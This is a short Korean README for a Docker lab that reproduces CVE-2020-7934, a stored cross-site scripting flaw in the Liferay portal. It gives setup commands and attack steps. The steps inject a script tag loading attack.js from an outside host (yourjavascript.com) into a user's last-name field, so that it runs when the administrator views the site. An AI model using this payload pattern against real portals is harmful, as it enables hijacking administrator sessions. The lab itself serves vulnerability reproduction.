CVE 2020-7934

CVE 실행 방법

요구 사항

1. docker

참고 사항

공격 스크립트를 온라인에 올릴 수 있습니다 (JS 코드 제공) http://yourjavascript.com/ 공격용 JS 스크립트 (온라인) html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

설정 명령어

1. 이 프로젝트의 루트 폴더로 이동
2. "sudo docker-compose up --build" 실행
3. 새 터미널: "docker inspect liferay" 실행 ==> IPAddress 값 복사
4. 새 터미널: "python api_attacker.py" 실행
5. 브라우저를 열고 "http://IPAddress:8080"으로 이동 ==> liferay 포털이 응답으로 표시되어야 함
6. 컨테이너 중지 및 삭제: "sudo docker-compose rm" 사용

공격 지침

1. liferay에 사용자로 등록하고 로그인한 후, "available sites" 섹션에서 "liferay" 사이트에 가입합니다.
2. "last name"을 JS 스크립트로 변경 (직접 () 또는 "src =" http ..." 사용)
3. liferay 관리자로 로그인 (username: [email protected], password: test)
4. available sites로 이동하여 "liferay"를 클릭하면 해당 사이트의 공개 페이지가 열립니다.